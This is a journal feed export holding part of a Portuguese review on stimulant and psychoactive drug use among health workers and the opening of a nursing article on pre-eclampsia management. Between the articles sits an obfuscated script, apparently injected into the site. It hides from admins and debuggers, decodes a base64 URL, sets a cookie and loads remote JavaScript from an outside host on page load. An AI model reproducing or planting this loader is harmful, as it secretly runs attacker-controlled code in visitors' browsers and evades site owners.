<p class="wp-block-paragraph">Os impactos psicossociais decorrentes do uso de substâncias psicoativas e estimulantes entre profissionais da saúde configuram uma dimensão crítica identificada na literatura científica recente. A maior parte dos estudos analisados indica que o consumo dessas substâncias está diretamente relacionado às estratégias de enfrentamento do sofrimento ocupacional, atuando como mecanismo compensatório diante das exigências emocionais intensas e do desgaste mental característico da prática assistencial (Santos et al., 2023; Gomes; Souza, 2024).</p>



<p class="wp-block-paragraph">Em estudo multicêntrico realizado em hospitais públicos e privados no Brasil, evidenciou-se que profissionais submetidos a ambientes de alta pressão emocional, como unidades de emergência e terapia intensiva, relataram maior propensão ao uso de substâncias como cafeína de alta concentração, anfetaminas e benzodiazepínicos sem prescrição (Almeida et al., 2022). Esses dados revelam que o sofrimento laboral não é apenas físico ou fisiológico, mas está atrelado à sobrecarga emocional resultante do contato contínuo com dor, sofrimento, morte e conflitos éticos da prática em saúde, como reforçam Maslach e Leiter (2017).</p>



<p class="wp-block-paragraph">Autores como Dejours (2007) apontam que, diante do esgotamento psíquico, o trabalhador adota comportamentos silenciosos de sobrevivência emocional, entre eles a automedicação, considerada um fenômeno crescente no ambiente hospitalar. Essa prática é frequentemente invisibilizada nas instituições de saúde, permanecendo restrita ao âmbito privado do trabalhador e associada ao medo de julgamento profissional e punição administrativa (Ferreira; Lima, 2021).</p>



<p class="wp-block-paragraph">Além disso, os estudos analisados destacam que o uso continuado dessas substâncias provoca repercussões emocionais como irritabilidade, labilidade afetiva, dificuldade de concentração, ansiedade e episódios depressivos (Oliveira; Martins, 2021). Com o tempo, tais alterações prejudicam a convivência interpessoal e o clima organizacional, resultando em conflitos entre equipes, fragilidade nas relações de trabalho e quebra da comunicação profissional, elementos que impactam diretamente a segurança do paciente (Rodríguez et al., 2020).</p>



<p class="wp-block-paragraph">Do ponto de vista psicossocial, o consumo de psicoestimulantes apresenta ainda forte relação com sentimentos de fracasso, autocobrança elevada e baixa autoestima profissional. Segundo estudo comparativo realizado em Portugal, 49% dos profissionais que utilizavam substâncias relataram sentimentos de inadequação diante das demandas hospitalares, manifestando sensação de incapacidade e percepção negativa do próprio desempenho (Gomes; Souza, 2024). Esses dados evidenciam que o consumo de substâncias, longe de resolver o sofrimento, reforça um ciclo de desgaste mental, levando o trabalhador a maior vulnerabilidade.</p>



<p class="wp-block-paragraph">Assim, os impactos psicossociais identificados na literatura demonstram que o fenômeno não pode ser reduzido a escolhas individuais, mas deve ser compreendido como resultado de condições estruturais do trabalho em saúde, marcadas por precarização, sobrecarga emocional e ausência de políticas institucionais de cuidado. Portanto, o consumo de substâncias é expressão coletiva de adoecimento do trabalho em saúde e requer abordagem ética e institucional para sua prevenção e enfrentamento.</p>



<p class="wp-block-paragraph"><strong>3.6</strong> <strong>Síndrome de Burnout e saúde mental no trabalho</strong></p>



<p class="wp-block-paragraph">Entre os desdobramentos mais graves associados ao uso de substâncias psicoativas por profissionais da saúde está a forte relação com a Síndrome de Burnout, condição caracterizada por exaustão emocional, despersonalização e redução da realização profissional, conforme definido pela Organização Mundial da Saúde (OMS, 2022). Essa síndrome é reconhecida internacionalmente como um fenômeno ocupacional resultante de estresse laboral crônico e mal gerenciado, incidindo de forma alarmante sobre profissionais que atuam sob pressão constante, como aqueles do setor da saúde.</p>



<p class="wp-block-paragraph">Diversos estudos identificaram que o uso abusivo de cafeína, benzodiazepínicos, antidepressivos e ansiolíticos frequentemente ocorre como tentativa de prolongar artificialmente a capacidade produtiva diante da fadiga extrema (Andrade et al., 2023; Lima; Barros, 2023). A literatura evidencia que mais de 35% dos profissionais que relatam uso contínuo de substâncias psicoestimulantes apresentam critérios compatíveis com Burnout, ainda que sem diagnóstico formal (Silva et al., 2022).</p>



<p class="wp-block-paragraph">Pesquisas realizadas em hospitais universitários brasileiros indicam que a associação entre Burnout e o consumo de substâncias cria um ciclo de retroalimentação: o profissional recorre ao uso de estimulantes para lidar com os efeitos do esgotamento físico e mental; porém, o uso contínuo dessas substâncias agrava a própria exaustão e intensifica sintomas de apatia, irritabilidade e falta de motivação (Ferreira; Lima, 2021). Essa dinâmica revela o que Maslach e Leiter (2017) denominam de “colapso energético e moral” do trabalhador, quando a pressão institucional supera sua capacidade de enfrentamento saudável.</p>



<p class="wp-block-paragraph">Outro aspecto crítico identificado na literatura é a despersonalização, entendida como o distanciamento afetivo do trabalhador em relação ao paciente. Tal fenômeno, associado ao consumo de estimulantes e ao Burnout, evidencia deterioração das relações humanas no cuidado, comprometendo a empatia e a ética profissional (Rodríguez et al., 2020). Em estudo com 1.274 profissionais da linha de frente da pandemia de COVID-19, constatou-se aumento de 58% nos relatos de abuso de psicofármacos e sedativos, correlacionado ao estresse pandêmico e ao desgaste emocional prolongado (Pereira et al., 2022).</p>



<p class="wp-block-paragraph">No contexto internacional, López e Martínez (2021), em estudo desenvolvido na Espanha, confirmam que a ausência de estratégias institucionais de promoção da saúde mental e o descaso com o bem-estar ocupacional são fatores diretamente ligados ao uso crescente de substâncias como mecanismo de compensação. Esses autores defendem que o enfrentamento do problema exige políticas organizacionais efetivas, suporte psicológico permanente e condições laborais justas, rompendo com o modelo produtivista que responsabiliza individualmente o trabalhador pelo seu adoecimento.</p>



<p class="wp-block-paragraph">Assim, a literatura científica aponta que a relação entre Burnout e consumo de substâncias psicoestimulantes não pode ser vista como fenômeno isolado, mas como reflexo de uma crise estrutural na saúde do trabalhador, exigindo ações urgentes na esfera pública e institucional.</p>



<p class="wp-block-paragraph"><strong>3.7 Repercussões na prática profissional e segurança do paciente</strong></p>



<p class="wp-block-paragraph">Os estudos analisados apontam que o uso de substâncias psicoativas e estimulantes entre profissionais da saúde não se restringe a impactos individuais, mas estende-se diretamente para a qualidade da assistência e a segurança do paciente. Essa relação é fortemente evidenciada na literatura científica recente, sobretudo em contextos hospitalares com equipes reduzidas e sobrecarga de trabalho (Almeida et al., 2022; Carvalho; Moura, 2023).</p>



<p class="wp-block-paragraph">O consumo regular de estimulantes como cafeína, anfetaminas e metilfenidato tem sido associado a alterações cognitivas significativas, tais como lapsos de memória, redução da atenção sustentada, diminuição da precisão motora e erros de julgamento (Oliveira; Lima, 2024). Esses efeitos, somados à fadiga, aumentam a probabilidade de erros de medicação, falhas na execução de procedimentos técnicos e comprometimento do raciocínio clínico (Gomes; Souza, 2024).</p>



<p class="wp-block-paragraph">Segundo Pereira et al. (2022), profissionais que relataram uso contínuo de substâncias para manter o ritmo de trabalho apresentaram maior prevalência de notificação de eventos adversos, especialmente em setores de alta complexidade, como UTI e pronto-socorro. Esses achados se alinham ao relatório da Organização Mundial da Saúde (OMS, 2022), que enfatiza que o cuidado inseguro decorrente do esgotamento e do uso de substâncias ocupa o segundo lugar entre as principais causas de danos evitáveis na assistência hospitalar.</p>



<p class="wp-block-paragraph">Outro aspecto relevante é a quebra do sigilo e da comunicação clínica eficaz, uma vez que o trabalhador sob efeito de substâncias pode apresentar alterações comportamentais como irritabilidade, impulsividade e distanciamento emocional (Santos et al., 2023). Essas alterações prejudicam o trabalho em equipe, contribuindo para conflitos laborais, atrasos na tomada de decisão multiprofissional e falhas na continuidade do cuidado (Ferreira; Lima, 2021).</p>



<p class="wp-block-paragraph">A seguir, apresenta-se uma síntese dos principais fatores associados ao consumo de substâncias psicoativas e estimulantes no trabalho em saúde, identificados nos estudos incluídos nesta revisão:</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 1 – </strong>Principais fatores associados ao consumo de substâncias psicoativas entre profissionais da saúde.</p>



<figure class="wp-block-table has-small-font-size"><table><thead><tr><th><strong>Categoria de fatores</strong></th><th><strong>Descrição dos fatores</strong></th><th><strong>Referências</strong></th></tr></thead><tbody><tr><td>Organizacionais</td><td>Jornada exaustiva, múltiplos vínculos, pressão institucional por produtividade, falta de pausas e sobrecarga emocional</td><td>SILVA et al. (2022); BRASIL (2023)</td></tr><tr><td>Psicossociais</td><td>Estresse crônico, ansiedade ocupacional, esgotamento emocional, luto profissional, enfrentamento de sofrimento</td><td>MASLACH; LEITER (2017); SANTOS et al. (2023)</td></tr><tr><td>Ambientais</td><td>Ambientes tensos, clima de trabalho negativo, alta complexidade assistencial, déficit de equipe</td><td>ALMEIDA et al. (2022); CARVALHO; MOURA (2023)</td></tr><tr><td>Comportamentais</td><td>Automedicação, banalização do uso de cafeína/energéticos, ausência de suporte emocional</td><td>ANDRADE et al. (2023); GOMES; SOUZA (2024)</td></tr><tr><td>Institucionais</td><td>Ausência de políticas de saúde mental, naturalização da exaustão, cultura do desempenho</td><td>FERREIRA; LIMA (2021); OLIVEIRA; LIMA (2024)</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: elaboração própria (2025), com base nos estudos incluídos.</p>



<p class="wp-block-paragraph"><strong>3.8</strong> <strong>Implicações éticas e fragilidades institucionais</strong></p>



<p class="wp-block-paragraph">Os resultados desta revisão revelam fragilidades institucionais significativas no enfrentamento do uso de substâncias psicoativas entre profissionais da saúde. Em grande parte dos estudos analisados, o problema é tratado como conduta individual e não como fenômeno ocupacional, invisibilizando responsabilidades organizacionais e éticas (Ferreira; Lima, 2021; Carvalho; Moura, 2023). Essa perspectiva reforça uma cultura de culpabilização do trabalhador, que passa a ocultar o uso dessas substâncias por medo de estigmatização, advertência ou perda do vínculo empregatício (Oliveira; Lima, 2024).</p>



<p class="wp-block-paragraph">Do ponto de vista ético, o consumo de substâncias psicoativas compromete diretamente os princípios da não maleficência e da responsabilidade profissional, uma vez que o trabalhador em sofrimento e sob efeito de estimulantes tem maior risco de erro assistencial, colocando pacientes em condição de vulnerabilidade (WHO, 2022). Contudo, há consenso na literatura de que tratar essa problemática como indisciplina profissional é uma violação ética ainda maior, porque ignora sua raiz: condições de trabalho desumanas e ausência de suporte institucional (Maslach; Leiter, 2017; Andrade et al., 2023).</p>



<p class="wp-block-paragraph">Outro aspecto crítico diz respeito à omissão das instituições de saúde, que frequentemente não implementam protocolos de vigilância e prevenção ao adoecimento mental, nem promovem programas contínuos de saúde do trabalhador (Brasil, 2023). Não foram identificadas, entre os estudos analisados, medidas consistentes envolvendo acompanhamento psicológico obrigatório, avaliação de riscos psicossociais ou estratégias formais para redução do consumo de substâncias. Em vez disso, prevalece a naturalização da exaustão como parte do trabalho em saúde, o que Dejours (2007) denomina de banalização do sofrimento.</p>



<p class="wp-block-paragraph">Em síntese, os resultados evidenciam que a ausência de políticas internas de cuidado configura negligência organizacional, contribuindo para cronificação do problema e expondo tanto trabalhadores quanto pacientes a riscos éticos e clínicos.</p>



<p class="wp-block-paragraph"><strong>3.9 Síntese crítica dos resultados</strong></p>



<p class="wp-block-paragraph">A análise dos 18 estudos incluídos nesta revisão permite compreender que o consumo de substâncias psicoativas entre profissionais da saúde é um fenômeno complexo, multidimensional e estrutural. Os resultados apontam que:</p>



<p class="wp-block-paragraph">Não se trata de escolha individual, mas de uma resposta ao sofrimento laboral crônico;</p>



<p class="wp-block-paragraph">Está diretamente relacionado à precarização do trabalho, sobrecarga física e emocional;</p>



<p class="wp-block-paragraph">Produz impactos fisiológicos, cognitivos e emocionais severos;</p>



<p class="wp-block-paragraph">Agrava quadros de ansiedade, depressão e Síndrome de Burnout;</p>



<p class="wp-block-paragraph">Aumenta o número de falhas técnicas e eventos adversos, comprometendo a segurança do paciente;</p>



<p class="wp-block-paragraph">Está naturalizado dentro das instituições de saúde, que silenciam o problema;</p>



<p class="wp-block-paragraph">Reforça um modelo produtivista e desumano de gestão em saúde;</p>



<p class="wp-block-paragraph">Exige intervenções urgentes de natureza ética, organizacional e de saúde pública.</p>



<p class="wp-block-paragraph">Dessa forma, os resultados revelam que a gestão do trabalho em saúde favorece o adoecimento, reproduzindo vulnerabilidades históricas da categoria, como baixos salários, múltiplos vínculos e jornadas exaustivas. Chama atenção a invisibilidade institucional do problema e a ausência de estratégias de enfrentamento que contemplem a promoção de ambientes laborais saudáveis.</p>



<p class="wp-block-paragraph">Os achados desta revisão demonstram que o consumo de substâncias psicoativas e estimulantes entre profissionais da saúde não pode ser reduzido a uma conduta pontual ou desvio individual, mas compreendido como fenômeno social vinculado à organização do trabalho e às políticas de gestão que regem os serviços de saúde. O problema evidencia a urgência de estratégias preventivas institucionais e políticas públicas voltadas à saúde do trabalhador, uma vez que não há cuidado seguro sem um trabalhador saudável.</p>



<p class="wp-block-paragraph">Assim, torna-se indispensável que instituições de saúde e gestores assumam corresponsabilidade na promoção da qualidade de vida laboral, superando práticas de negligência institucional e rompendo com a lógica da medicalização do sofrimento profissional. O enfrentamento do problema exige compromisso ético, políticas de saúde ocupacional e responsabilização coletiva.</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>CONCLUSÃO</strong></p>



<p class="wp-block-paragraph">O uso excessivo de substâncias psicoativas e estimulantes entre profissionais da saúde configura um problema ocupacional crescente, resultado direto de jornadas exaustivas, sobrecarga emocional, múltiplos vínculos empregatícios e pressão institucional por produtividade. Tais condições favorecem o consumo de cafeína, energéticos, psicofármacos e psicoestimulantes como estratégias compensatórias para lidar com o desgaste físico e mental.</p>



<p class="wp-block-paragraph">A análise dos 18 estudos incluídos demonstrou que o consumo crônico dessas substâncias gera impactos fisiológicos como taquicardia, distúrbios do sono e dependência química e impactos psicológicos, incluindo ansiedade, irritabilidade e maior vulnerabilidade à Síndrome de Burnout. Além disso, repercute diretamente na qualidade da assistência e na segurança do paciente, comprometendo a atenção, o raciocínio clínico e as relações interpessoais nas equipes.</p>



<p class="wp-block-paragraph">Constatou-se que o fenômeno é frequentemente naturalizado nas instituições de saúde, o que reforça a negligência organizacional e a ausência de políticas efetivas de promoção da saúde do trabalhador. Assim, conclui-se que o enfrentamento dessa problemática exige ações multiprofissionais e éticas, centradas na prevenção, acompanhamento psicológico contínuo, reorganização das jornadas e fortalecimento da cultura de cuidado dentro das instituições.</p>



<p class="wp-block-paragraph">Cuidar de quem cuida é condição indispensável para uma assistência segura, humanizada e de qualidade.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS BIBLIOGRÁFICAS</strong></p>



<p class="wp-block-paragraph">ALLEY, L.; ANGER, W. K.; DIMOFF, J. K. Addressing Health Care Workers’ Mental Health: A Systematic Review of Evidence-Based Interventions and Current Resources. <strong>American Journal of Public Health</strong>, v. 114, supl. 2, p. 213–226, 2024. DOI: 10.2105/AJPH.2023.307556. Disponível em: <a href="https://ajph.aphapublications.org/doi/10.2105/AJPH.2023.307556">https://ajph.aphapublications.org/doi/10.2105/AJPH.2023.307556</a>. Acesso em: 20 mar. 2025.</p>



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<p class="wp-block-paragraph">STRUDWICK, J.; et al. Workplace mental health screening programmes: a systematic review and meta-analysis. <strong>Occupational and Environmental Medicine</strong>, 2023. Disponível em: <a href="https://oem.bmj.com/content/oemed/early/2023/06/15/oemed-2022-108608.full.pdf">https://oem.bmj.com/content/oemed/early/2023/06/15/oemed-2022-108608.full.pdf</a>. Acesso em: 15 mar. 2025.</p>



<p class="wp-block-paragraph">WHO. World Health Organization. Global report on patient safety: learning from adversity (resumo e dados). Genebra: WHO/AHRQ PSNet, 2024. Disponível em: <a href="https://psnet.ahrq.gov/issue/who-global-report-patient-safety">https://psnet.ahrq.gov/issue/who-global-report-patient-safety</a>. Acesso em: 15 mar. 2025.</p>



<p class="wp-block-paragraph">ZHENG, Y.; et al. A systematic review of self-medication practice during the COVID-19 pandemic. <strong>Frontiers in Public Health</strong>, v. 11, 2023. DOI: 10.3389/fpubh.2023.1184882. Disponível em: <a href="https://www.frontiersin.org/journals/public-health/articles/10.3389/fpubh.2023.1184882/full">https://www.frontiersin.org/journals/public-health/articles/10.3389/fpubh.2023.1184882/full</a>. Acesso em: 10 jun. 2025.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Discente do Curso Superior de Enfermagem do Centro Universitário de Goiatuba – Unicerrado. E – mail: <a href="mailto:rafaelaarodrigues15@alunos.unicerrado.edu.br">rafaelaarodrigues15@alunos.unicerrado.edu.br</a><br><sup>2</sup>Docente do Curso Superior de Enfermagem do Centro Universitário de Goiatuba – Unicerrado. E – mail: <a href="mailto:katiarodrigues@unicerrado.edu.br">katiarodrigues@unicerrado.edu.br</a></p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>ATRIBUIÇÕES DA ENFERMAGEM NO ATENDIMENTO DE URGÊNCIAS OBSTÉTRICAS: MANEJO DA PRÉ-ECLÂMPSIA E ECLÂMPSIA</title>
		<link>https://revistaft.com.br/atribuicoes-da-enfermagem-no-atendimento-de-urgencias-obstetricas-manejo-da-pre-eclampsia-e-eclampsia/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Sun, 30 Nov 2025 21:42:49 +0000</pubDate>
				<category><![CDATA[Enfermagem]]></category>
		<category><![CDATA[Volume 29 - Edição 152/NOV 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=256828</guid>

					<description><![CDATA[NURSING RESPONSIBILITIES IN OBSTETRIC EMERGENCY CARE: MANAGEMENT OF PRE-ECLAMPSIA AND ECLAMPSIA REGISTRO DOI: 10.69849/revistaft/cl10202511301905 Geovana de Melo Valente1Myllena Crhistina Rodrigues Silvério1Luana de Jesus de Oliveira2 Resumo&#160; A pré -eclâmpsia é uma desordem hipertensiva exclusiva da gestação, diagnosticada quando a pressão arterial atinge 160/110 mmHg ou mais, associada a proteinúria significativa (≥ 300 mg/24 horas), após [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">NURSING RESPONSIBILITIES IN OBSTETRIC EMERGENCY CARE: MANAGEMENT OF PRE-ECLAMPSIA AND ECLAMPSIA</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202511301905</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Geovana de Melo Valente<sup>1</sup><br>Myllena Crhistina Rodrigues Silvério<sup>1</sup><br>Luana de Jesus de Oliveira<sup>2</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>Resumo&nbsp;</strong></p>



<p class="wp-block-paragraph">A pré -eclâmpsia é uma desordem hipertensiva exclusiva da gestação, diagnosticada quando a pressão arterial atinge 160/110 mmHg ou mais, associada a proteinúria significativa (≥ 300 mg/24 horas), após a 20ª semana de gestação. A eclâmpsia é caracterizada por convulsões tônico-clônicas ou coma em mulheres com quadro hipertensivo e proteinúria importante. O objetivo deste estudo é identificar as principais práticas de enfermagem adotadas no manejo de gestantes com pré-eclâmpsia e eclâmpsia nos serviços de urgência e emergência. A metodologia utilizada é do tipo de revisão integrativa da literatura. Todos artigos respeitaram o recorde temporal (2020 a 2024), nas bases de dados BDENF, LILACS e MEDLINE, disponíveis na íntegra e de acesso gratuito, redigidos em português ou inglês. A busca dos materiais nas bases de dados utilizando os operadores booleanos com os descritores, foi encontrado 1.567 artigos, restando como amostra final 12. A enfermagem atua desde a identificação precoce dos fatores de risco até o monitoramento contínuo dos sinais de alerta, intervenções emergenciais e acompanhamento emocional da gestante. A avaliação rigorosa da pressão arterial, vigilância da proteinúria, monitorização de sinais vitais, controle hídrico, administração correta de medicações como anti-hipertensivos, sulfato de magnésio e corticoides, além da educação em saúde e da atuação em equipe multidisciplinar, representam pilares indispensáveis.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras Chaves:</strong> Pré-eclâmpsia. Eclâmpsia. Obstetrícia. Cuidados de enfermagem.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO</strong>&nbsp;</p>



<p class="wp-block-paragraph">A gravidez é um fenômeno biológico que se desenrola em três trimestres distintos. No primeiro trimestre, que compreende as primeiras 12 semanas, no qual o corpo da mulher passa por uma revolução hormonal, com níveis crescentes de hormônios como HCG (gonadotrofina coriônica humana), estrogênio e progesterona. Esses hormônios são essenciais para manter a gravidez e desencadeiam alterações físicas e fisiológicas, incluindo a interrupção do ciclo menstrual, o aumento do volume sanguíneo e as mudanças no tecido mamário. No segundo trimestre, que vai das 13 às 26 semanas, a maioria das mulheres começa a sentir-se fisicamente melhor e mais energética. O terceiro trimestre, das 27 semanas até o parto, geralmente por volta de 40 semanas, é o período em que o crescimento e o desenvolvimento fetal são mais intensos (Feliciano, 2023).&nbsp;</p>



<p class="wp-block-paragraph">Considerando a gestação como um período de transformações e desafios para mulheres e suas famílias, é crucial ter estruturas e programas de saúde que garantam um acompanhamento adequado. Para aprimorar as Redes de Atenção Materno-infantil e reduzir a morbimortalidade, o Ministério da Saúde criou a Rede Cegonha, que visa organizar e fortalecer os serviços de saúde para gestantes e recém-nascidos, com o pré-natal sendo uma parte essencial dessa iniciativa (Brasil, 2022).&nbsp;</p>



<p class="wp-block-paragraph">A organização dos processos de atenção durante o pré-natal, incluindo a estratificação de risco obstétrico, desempenha um papel crucial na redução da mortalidade materna. A estratificação de risco vai predizer quais mulheres têm maior probabilidade de apresentar eventos adversos à saúde, permitindo a otimização dos recursos para oferecer a tecnologia necessária para quem precisa dela. Essa classificação de risco deverá ser iniciada na primeira consulta de pré-natal e deverá ser dinâmica e contínua, sendo reavaliada a cada consulta (Medeiros FF, 2023).&nbsp;</p>



<p class="wp-block-paragraph">O Brasil registrou um aumento significativo na razão de mortalidade materna (RMM), que subiu de 57,9 para 74,7 óbitos maternos por 100 mil nascidos vivos entre 2019 e 2020, impulsionado pela pandemia de COVID-19. Esse aumento foi especialmente acentuado na Região Norte, onde a RMM variou de 82,5 para 98,9, devido às barreiras no acesso ao prénatal. As principais causas de morte materna incluem distúrbios hipertensivos, hemorragias, infecções, complicações no parto e abortamento inseguro, que representam cerca de 75% dos óbitos maternos no mundo (Brasil, 2022).&nbsp;</p>



<p class="wp-block-paragraph">A pré-eclâmpsia é uma condição mundialmente prevalente, especialmente em países de baixa e média renda. Trata-se de uma desordem hipertensiva exclusiva da gestação, diagnosticada quando a pressão arterial atinge 160/110 mmHg ou mais, associada a proteinúria significativa (≥ 300 mg/24 horas), após a 20ª semana de gestação. Em casos sem proteinúria, o diagnóstico pode ser baseado em sintomas como cefaleia, turvação visual, dor abdominal, elevação das enzimas hepáticas, comprometimento renal, edema pulmonar e distúrbios visuais ou cerebrais. Também é considerada pré-eclâmpsia quando a hipertensão é acompanhada de comprometimento sistêmico ou disfunção de órgãos alvo, além de sinais de comprometimento placentário como restrição de crescimento fetal ou alterações no doppler de artéria uterina (Brasil, 2022).&nbsp;</p>



<p class="wp-block-paragraph">Gestantes com pré-eclâmpsia podem enfrentar complicações graves, como alterações hepáticas, cerebrais, sanguíneas, hidroeletrolíticas e uteroplacentárias. Esse quadro pode evoluir para eclâmpsia, aumentando o risco de mortalidade (Oliveira et al., 2017).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A eclâmpsia é caracterizada por convulsões tônico-clônicas ou coma em mulheres com quadro hipertensivo e proteinúria importante, podendo incluir outros sintomas como cefaleia intensa, edema generalizado, dor abdominal, distúrbios visuais, hemorragia cerebral, insuficiência renal e síndrome de HELLP. A síndrome de HELLP, que inclui hemólise, elevação das enzimas hepáticas e plaquetopenia, é uma das formas mais graves de pré-eclâmpsia e uma causa significativa de mortalidade materna no Brasil. Cerca de 2% a 3% das mulheres com pré-eclâmpsia grave morrem se não forem tratadas com sulfato de magnésio para prevenção de convulsões (Brasil, 2022).&nbsp;</p>



<p class="wp-block-paragraph">Na análise da epidemiologia da PE na América Latina, observa-se que aproximadamente 2% a 8% das gestantes são afetadas por essa condição, sendo responsáveis por um quarto dos óbitos maternos na região. No Brasil, entre 2009 e 2018, cerca de 15,84% das mortes maternas foram relacionadas à PE, com 44,1% desses casos sendo atribuídos diretamente a essa condição como causa principal (Guida et al., 2022).&nbsp;</p>



<p class="wp-block-paragraph">Em pesquisa realizada no Estado do Pará, foi possível constatar que a mortalidade materna permanece como um grave problema de saúde pública, sendo os transtornos hipertensivos a causa mais frequente. A prevalência desses óbitos foi observada em 14 municípios, incluindo Belém, Santarém, Marabá, Breves, Bragança, Castanhal, Itaituba, Altamira, Redenção, Cametá, Paragominas, Capanema, Ananindeua e Marituba (Miranda et al., 2019).&nbsp;</p>



<p class="wp-block-paragraph">A relevância deste estudo reside na necessidade de compreender e fortalecer o papel da enfermagem no manejo das urgências obstétricas, uma vez que, diante do impacto dessas condições na saúde da gestante e do recém-nascido, torna-se essencial que os profissionais estejam devidamente capacitados para identificar precocemente sinais e sintomas, realizar intervenções seguras e eficazes e atuar de forma integrada nas redes de atenção à saúde; assim, o objetivo é identificar as principais práticas de enfermagem adotadas no manejo de gestantes com pré-eclâmpsia e eclâmpsia nos serviços de urgência e emergência.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>METODOLOGIA </strong>&nbsp;</p>



<p class="wp-block-paragraph">Este estudo é de natureza qualiquantitativa, onde a metodologia utilizada é do tipo de revisão integrativa da literatura, o que significa que o estudo se propõe a descrever, analisar e sintetizar os conhecimentos existentes sobre determinado tema a partir da revisão de estudos anteriores. Para Mendes, Silveira e Galvão (2008) e os autores Ursi e Galvão (2006) a pesquisa deve-se percorrer etapas importantes que ajudarão na construção da pesquisa, dividindo -se em 06 (seis) etapas, como demonstrado na figura 1 abaixo.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1:</strong> Fluxograma das etapas pesquisa</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="573" height="267" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-3193.png" alt="" class="wp-image-256830" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-3193.png 573w, https://revistaft.com.br/wp-content/uploads/2025/11/image-3193-300x140.png 300w" sizes="(max-width: 573px) 100vw, 573px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte</strong>: Adaptado de acordo Mendes, Silveira e Galvão (2008) e os autores Ursi e Galvão (2006).&nbsp;</p>



<p class="wp-block-paragraph">Foram incluídas publicações que tratem de intervenções de enfermagem e manejo obstétrico de gestantes com diagnóstico de pré-eclâmpsia e eclâmpsia em serviços de urgência e emergência. Todos artigos respeitaram o recorde temporal (2020 a 2024), nas bases de dados BDENF (Base de Dados em Enfermagem), LILACS (Literatura Latino-Americana e do Caribe em Ciências da Saúde) e MEDLINE (Medical Literature Analysis and Retrieval System Online), disponíveis na íntegra e de acesso gratuito, redigidos em português ou inglês. Serão excluídos estudos que não envolvam gestantes, teses, dissertações, notas e editoriais, artigos duplicados, relatos de experiência e publicações que não apresentem rigor metodológico ou não estejam diretamente relacionados ao tema, e ainda que se enquadrem nos critérios de inclusão desta pesquisa.&nbsp;&nbsp;</p>



<p class="has-text-align-left wp-block-paragraph">Os descritores selecionados incluem &#8220;pré-eclâmpsia&#8221;, &#8220;eclâmpsia&#8221;, &#8220;obstetrícia&#8221; e &#8220;cuidados de enfermagem&#8221; (“pré-eclâmpsia&#8221;, &#8220;eclâmpsia&#8221;, &#8220;obstetrics&#8221; and &#8220;nursing care&#8221;). A estratégia de busca foi estruturada com a combinação dos descritores por meio dos operadores booleanos &#8220;AND&#8221; e &#8220;OR&#8221;. A seguir, apresenta-se o Quadro 1, com a organização das bases de dados, descritores (em português e inglês) e a estratégia de busca correspondente.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 1:</strong> Estratégia de busca nas bases de dados.</p>



